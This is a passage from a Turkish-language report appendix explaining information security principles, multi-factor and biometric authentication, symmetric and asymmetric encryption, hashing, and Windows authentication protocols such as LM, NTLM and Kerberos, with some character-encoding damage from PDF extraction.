Bilginin sadece eri³im hakk olan yetkili ki³ilerce eri³ilebilir olmasn amaçlamaktadr.
Bu yüzden üçüncü ³ahslar tarafndan ele geçirilmemesi için bilgisayar sistemlerinde,
saklama ortamlarnda, a§ üzerinde gönderici ve alc arasnda ta³nrken yetkisiz eri³im-
lerden korunmaldr.
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J.2.1.2 Veri Bütünlü§ü (Data Integrity)
Verinin tutuldu§u ortamda veya al³ veri³inde verinin bozulmad§nn, yeni veri eklenme-
di§inin, bir ksm veya tamamnn silinmedi§inin, veri içeri§inin de§i³medi§inin ve veri
de§i³se de bu de§i³imin anla³lyor olabilmesi i³in verinin do§rulanmas gerekir. Bu çer-
çevede gerekli önlemler alnarak verinin herhangi bir de§i³ikli§e u§ramadan bütünlü§ü
sa§lanr. Bütünlü§ü sa§lanan veri, tutuldu§u ortam veya al³ veri³i srasnda kullancsna
gönderilirken, içeri§i de§i³memi³, bozulmam³ ya da silinmemi³ olarak ula³r.
J.2.1.3 Eri³ilebilirlik (Availability)
Yetkili kullancnn ula³mak istedi§i verinin eri³ilebilir ve kullanlabilir olmasdr. Bir bil-
giye eri³mek ya da eri³imi kstlamak için belirli izinlerin verilmesi veya alnmas gere-
kebilir. zinler do§ru yerde ve zamanda verilmeli ya da kstlanmaldr. Ancak sistemin
sürekli eri³ilebilir olmas, eri³imi engelleyici tehditlere kar³ önlemler almasn gerektirir.
Servis d³ kalan sistemler maddi kayplara sebep olabilir.
J.2.2 Di§er Unsurlar
J.2.2.1 Güvenilirlik (Reliability Consistency)
Sistemin öngörülen ve beklenen davran³ ile elde edilen sonuçlar arasndaki tutarllk
durumudur. Sistemin kendisinden bekleneni eksiksiz/fazlasz olarak her çal³trld§nda
tutarl ³ekilde yapmasdr.
J.2.2.2 nkâr Edememe (Non-repudiation)
Bu prensip verinin iletildi§i gönderici ve alc arasnda ortaya çkabilecek ileti³im sorun-
lar ve anla³mazlklar en aza indirmeyi amaçlar. ki sistem arasnda bir bilgi aktarm
yaplm³sa ne gönderen veriyi gönderdi§ini nede alc veriyi ald§n inkâr edememelidir.
Özellikle gerçek zamanl i³lem gerektiren ﬁnansal sistemlerde kullanm alan bulmaktadr.
EK-J Bilgi Güvenli§i ve Kimlik Do§rulama Kavramlar 165
J.2.2.3 Kimlik Snamas (Authentication)
Sistemde i³lem yapacak kimli§in bilgilerinin kim oldu§u, sistemdeki bilgiler ile do§ru-
lanmas i³lemidir. Kimlik bilgileri, parola gibi, alc gönderici do§rulamas, akll kart ve
Biyometrik kimlik do§rulama örnekleri verilebilir.
J.2.2.4 Yetkilendirme (Authorization)
Kimlik snamas gerçekle³tirildikten sonra kullancnn ne kadar yetkili oldu§unun ve
bu yetkiler çerçevesinde hangi bilgi varlklarna ne kadar yetki ile eri³ece§inin belirlen-
mesi i³lemidir. Yetkiler tek kullanc için verilebilece§i gibi genelde gruplamalar yaplarak
verilmektedir. Gereksiz verilen her yetki bilgi güvenli§inde birçok açkl§a sebep olabil-
mektedir.
J.2.2.5 zlenebilirlik/Kayt Tutma (Accountability)
Kullanc sisteme ba§lanp hangi i³lemleri yapt§, sisteme izinsiz yada verilen yetkilen-
dirmeler d³nda herhangi bir olayn gerçekle³ip gerçekle³medi§inin takibi gibi olaylarn
kayt altnda tutuldu§u ve gerçekle³mi³ olayn tespitinin yapld§ sistemdir. Loglama
örnek olarak verilebilir.
J.3 Kimlik Do§rulama Kavramlar
Kritik varlklarmza eri³imin snrlanmas ve sadece yetkisi olan ki³ilerin eri³imine izin
verilmesi gerekmektedir. Kimlik do§rulamada olas bir hata, eri³im izni verilmemesi ge-
reken bir kullancnn çok yüksek haklarla eri³im iznine sahip olmasn sa§layacaktr. Bu
tür durumlar için yetkili ve yetkisiz ki³ilerin ayrt edilebilmesi gerekmektedir. Yetkili
ve yetkisiz ki³ileri ayrt etmeye yarayan sistemler kimlik do§rulama sistemleridir. Bu sis-
temler bilgisayar ve bilgisayar mant§nda çal³an bütün donanmlarda mevcuttur. Kimlik
do§rulamada kullanlan ana unsurlar kimlik do§rulama kavramlarn olu³turmaktadr.
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J.3.1 ki A³amal Do§rulama (Two Factor Authentication)
Kullanc kimli§ini do§rulayan iki farkl güvenlik yöntemidir. Bu güvenliklerin birisi kul-
lancnn bildi§i bir ³ey (something know) di§eri sahip oldu§u (something have) ³ey olarak
dü³ünülebilir. Örne§in internet bankacl§n kullanyorsak ³ifremiz d³nda ikinci bir ³if-
renin cep telefonumuza SMS olarak gelmesidir (One-time-pass). Genelde saldrlara kar³
dirençli bir yöntemdir.
J.3.1.1 Tek Kullanmlk Parola (One-time-pass)
Parolalarn uzun bir süre ayn kalmalar büyük güvenlik aç§na neden olmaktadr. Bunun
önüne geçmek için her kullanmda farklla³an parola kullanm önerilmi³tir. Bankalarn
kullanclarna verdikleri tek kullanmlk parola cihazlar, Google Authenticator vb. sis-
temler bu snfa girmektedir. Kullanldktan sonra geçersiz oldu§undan tekrar saldrlarn
önlemektedir.
J.3.2 Çok A³amal Do§rulama (Multi Factor Authentication)
Çok a³amal kimlik do§rulamadan biri veya birkaç birlikte kullanlabilmektedir. Kimlik
do§rulamada kullanlan unsur says arttkça kar³mzdakinin kimli§inden daha güçlü bir
³ekilde emin oluruz. Kimli§i do§rulanan sadece insan olmak zorunda de§ildir. Bilgisayar,
donanm, yazlm veya yazcnn da kimli§i do§rulanmak istenilebilir.
J.3.2.1 Bilinen Bir ey (Something You Know) ile Kimlik Do§rulama
Kullanc için sistem üzerinde kendi haklar do§rultusunda bir payla³m izni verilir. Payla-
³m yapld§ alanda sadece kullancy ilgilendiren gizli veriler bulunur. Örne§in; kullanc
ad, ³ifresi veya PIN bu kapsam içinde de§erlendirilebilir.
1.3.2.1.1 PIN (Personal Identiﬁcation Number) ve Parola :
Parolalar, tek ba³na kullanlmalar durumunda zayf kimlik do§rulama mekanizmalarna
örnek gösterilmektedir. Bunun nedeni parolalarn seçildikleri uzayn kstl olmas ve kaba
kuvvet saldrlar ile bulunabiliyor olmasdr. PIN genel olarak akll kartlarda geçerlidir.
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1.3.2.1.2 ekil/Desen (resim, vb.) Kullanm :
Kullanc tarafndan seçilen resimlerin ya da noktalar birle³tirilerek olu³turulan ³ekillerin
do§rulanmas ile gerçekle³tirilir.
J.3.2.2 Sahip Olunan Bir ey (Something You Have) ile Kimlik Do§rulama
Akll kart, RFID ve benzeri kullanclarn ﬁziksel olarak sahip olduklar kimlik do§-
rulama jetonlar bu snfa girmektedir. Jetonlar parola ile birlikte veya tek ba³larna
kullanlabilmekte ve ayn zamanda kullancnn eri³im haklarn da içermektedirler.
J.3.2.3 Bize Özgü Olan Bir ey (Something You Are) ile Kimlik Do§rulama
Biyometrik sinyaller olarak da adlandrlr[23]. Herkesin biyometrisinin farkl olmasndan
dolay güvenlik problemlerini azaltmaktadr. Donanmsal olarak yüksek maliyetlerdedir
ancak kullanm, güvenlik risklerini en aza indirdi§inden maliyet kontrolü sa§lamakta-
dr. Bu sistemler yaygn olarak kullanlmakla birlikte baz riskleri ta³maktadr. E§er
güçlü algoritma kullanlmazsa krlabilirler. Parolada salt kullanlan özet alnmaldr. 2.
³ahslarn eline geçti§inde ise mahremiyet problemleri ortaya çkabilir. Biometri de§i³ti-
rilemez ancak taklit edilebilir (gerçek parmak izi kopyalanarak silikon parmak ile kimlik
do§rulanabilir. Truva at ile veri tabanna ula³arak veri alma veya tahrip edilebilir).
Ba³lca "Bize Özgü Olan Bir ey" olarak kullanlan biyometrik kimlik do§rulama yön-
temleri; parmak izi, iris tanma, yüz tanma, ses tanma, el geometrisi tanma, damar
tanma, yüz termogram, imza atm, konu³ma tanma ve yürüyü³ tanmadr[24]. Bahse-
dilen biyometrik kimlik do§rulama yöntemlerinden parmak izi, yüz tanma ve iris tanma
özelliklerini windows i³letim sistemi do§rudan kullanmaktadr[25]. Di§er biyometrik kim-
lik dor§ulama yöntemlerini ise dolayl olarak üçüncü parti yazlmlarla kullanmaktadr.
J.3.3 ifreleme Kavramlar
Windows i³letim sistemi ³ifreleme yaparken iki temel teknik kullanr. Bu teknikler gizli
anahtar ³ifreleme olarak bilninen ³imetrik ve ortak anahtar ³ifreleme olarak bilinen asi-
metrik ³ifrelemedir[26].
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J.3.3.1 Simetrik ifreleme
Bu algoritmada ³ifreleme ve ³ifre çözmek için ayn gizli anahtar kullanlmaktadr. Bu
anahtar ³ifreleme yapan ki³i ile ³ifrelemeyi çözecek ki³iler arasnda anla³lm³ ortak bir
anahtardr. Çok hzl bir ³ifreleme algoritmasdr. Blok ve dizi ³ifreleme olarak ikiye
ayrlr.
1.3.3.1.1 Blok ifreleme :
Açk metni biti³ik bloklara bölme, her blo§u ³ifreleyerek ³ifreli metin bloklarna dönü³-
türme (her döngü bir çevrimdir), bu ³ifreli bloklar ³ifreli metin çk³ olarak gruplamaktr.
Genelde 64 BIT'tir ancak i³lemcinin hz artkça blok uzunlu§u da artrlabilir.
lk çal³ma kipleri ECB, CBC, OFB ve CFB 1981 ylna kadar dayanr. FIPS 81, DES
Model of Operation'da tanmlanm³tr[27].
1.3.3.1.1.1 DES ifreleme :
Donanmsal uygulamalarda kullanlmak amac ile tasarlanm³tr. 64 bit blok ³ifreleme
ve 56 bit anahtar kullanr. 16 döngüden olu³an bir döngüde; ilk döngüye girmeden önce
ba³langç permütasyonu ve son döngüden sonra ba³langç permütasyonunun tersi uygula-
nr. En zayf yönü 56 bit anahtar kullanmasdr. Modern bilgisayarlar tarafndan yaplan
anahtar saldrlarnda yetersizdir. Bu yüzden 3DES'e geçilmi³ ancak performans hznn
dü³ük olmasndan dolay tercih edilmemektedir. Windows i³letim sisteminde ise DES, LM
ve NTLM'de kullanlmaktadr. LM ve NTLM Bölüm 1'de ayrntl olarak i³lenmi³tir.
1.3.4.1.1.2 AES ifreleme :
Amerikan Hükümeti tarafndan kabul edilen AES, uluslararas alanda da defacto ³ifre-
leme (kripto) standard olarak kullanlmaktadr. NSA tarafndan onaylanan kamuya açk
ilk ³ifreleme algoritmasdr. 128 bit blok ³ifreleme ve 128,192,256 bit anahtar kullanr. Te-
orik olarak krlm³tr ancak pratikte krlamam³tr. Windows i³letim sistemi kerberosta
AES-128 kullanmaktadr.
1.3.4.1.2 Dizi ifreleme :
Mesajn her bitini ayr ayr ³ifreler, mesaj uzunlu§unda bir anahtar kullanlr. Her bir
EK-J Bilgi Güvenli§i ve Kimlik Do§rulama Kavramlar 169
basamak bir bit ve birle³tirme operatörü XOR i³lemidir. Bir dizi ³ifresinin güvenli ol-
mas için anahtar dizisi büyük bir periyoda sahip olmal ve anahtar dizisinden ³ifreleme
anahtarn ya da iç durumu çkarmak mümkün olmamaldr [28].
J.3.3.2 Asimetrik ifreleme
1976 ylnda Stanford Üniversitesinden Diﬃe ve Hellman adl ara³trmaclar tarafndan
önerilmi³tir. Bu sistemde bir tane ³ifreleme için (public key) bundan farkl olarak bir ta-
nede ³ifre çözmek için (private key) anahtar bulunur. Bu sistemde ³ifreleme i³lemi herkes
tarafndan bilinen açk anahtarla yaplr. ifreleme ve çözme i³lemi birbirinin simetri§i ol-
mayan (yani ayns olan) algoritmalarla gerçekle³tirildi§inden asimetrik ³ifreleme sistemi
olarak adlandrlm³tr.
J.3.4 Özetleme Kavramlar
Verinin bütünlü§ünü korumak amac ile açk veri, ³ifrelenmi³ veri arasnda tek yönlü
dönü³üm sa§lar. Özeti alnm³ bir veri tek yönlü oldu§u için eski veriye geri dönü³türü-
lemez.
Veri bütünlü§ü kontrolünün sa§land§n görmek için ayn verinin özeti bir çok defa
ayn yöntemle alnsa yine ayn özeti verecektir. Tam tersi durumda, veride en ufak bir
de§i³iklikte verinin özetide de§i³mektedir.
Özetleme algoritmas saysal imzalamada ise verinin özeti imzalanarak kullanlmaktadr.
Microsoft'un yaygn kulland§ özetleme algoritmalar; tuzlama (salting)ve Md5'dir.
NTLMv2'de özetleme algoritmas olarak MD5 kullanmaktadr. NTLMv2 Bölüm 1'de
ayrntl olarak i³lenmi³tir.
Tuzlama (Salting): Açk bir de§er olup rastgele olu³turularak ³ifre özeti ile birlikte sak-
lanr. A kullancs ile B kullancs ayn ³ifre kullansalar bile tuzlama de§eri birbirinden
farkl oldu§u için ³ifre özetleri birbirinden farkl olacaktr.
MD5: MD5 128 bitlik (32 Bayt) ve tek yönlü özetleme algoritmasdr. Asl amac veri
bütünlü§ünü kontrol etmektir. Bir dosya, mesaj veya ³ifreyi 128 bitlik bir özete çevirir.
Yapsal olarak güvenli olmamakla birlikte, ancak hzl oldu§undan internet ortamnda
yo§un olarak kullanlmaktadr.
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J.3.5 Windowsta Kimlik Do§rulama Temelleri
J.3.5.1 LM
Microsoft eski i³letim sistemleri ile haberle³mek için kulland§ protokoldür. Saldrlara
kar³ savunmaszdr. Yeni Windows sürümlerinde LANMAN varsaylan olarak kapaldr
[1]. Özetleme ise küçük harﬂeri büyük harfe çevirir. 14 karakterden olu³ur. Parolay 7
karakter ³eklinde ikiye böler. DES anahtar ile ³ifrelenir. Bölüm 1.1.1'de detaylandrl-
m³tr.
J.3.5.2 NTLM
A§ ortamndaki Windows NT 4.0 veya daha eski versiyonlarla ileti³im kurulmasnda
kullanlan kimlik do§rulama protokolüdür. Windows Server 2003 ailesi için varsaylan
ileti³im protokolüdür. LM protokolünün zayﬂklarndan dolay kullanlmaya ba³lanm³tr
[1][29]. Özetleme ise LANMAN'e göre daha güvenilirdir. Parola uzunlu§u olarak 256
karaktere kadar destek verir. Özetleme algoritmas olarak MD4 kullanlr. Küçük harﬂeri
büyütmez ve parolay ikiye bölmez. Önemli bir nokta ise LANMAN ve NT tuzlama (salt)
kullanmaz [30]. Bölüm 1.1.2'de detaylandrlm³tr.
J.3.5.3 NTLMv2
NTLMv2 protokolü NTLMv1 üzerinde skla³trma uygulayarak daha güvenli ³ekilde
kimlik do§rulama i³leminin gerçekle³tirilmesi sa§lanm³tir [3].
Özellikle spooﬁng ataklarna kar³ protokolü zorla³trarak güvenli§i artrm³tr. Bölüm
1.1.3'te detaylandrlm³tr.
J.3.5.4 Kerberos
Kerberos MIT tarafndan ortaya atlm³ daha sonra Windows tarafndan da kimlik do§-
rulama için tercih edilmi³ bir metottur. Win2K ile ba³layarak Microsoft Windows i³letim
sisteminin bütün sürümleri için genelde varsaylan olarak kullanlan kriptograﬁk yöntem-
ler içeren güvenilir bir kimlik do§rulama protokolüdür. Bölüm 1.1.4'te detaylandrlm³tr.
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J.3.5.5 Akll Kart
Akll kartlar veri gizlili§i ve inkâr edememezlik (non-repudiation) güvenlik ihtiyaçlar için
kullanlmaktadr. Private ve public alanlar mevcuttur. Private alanda anahtar üretimi,
imzalama ve ³ifre çözme i³lemleri yaplr. Public alanda genel bilgiler yazlr. NTLM
kimlik do§rulamas akll kart kimlik do§rulamasn desteklememektedir. Bölüm 1.1.5'te
detaylandrlm³tr.
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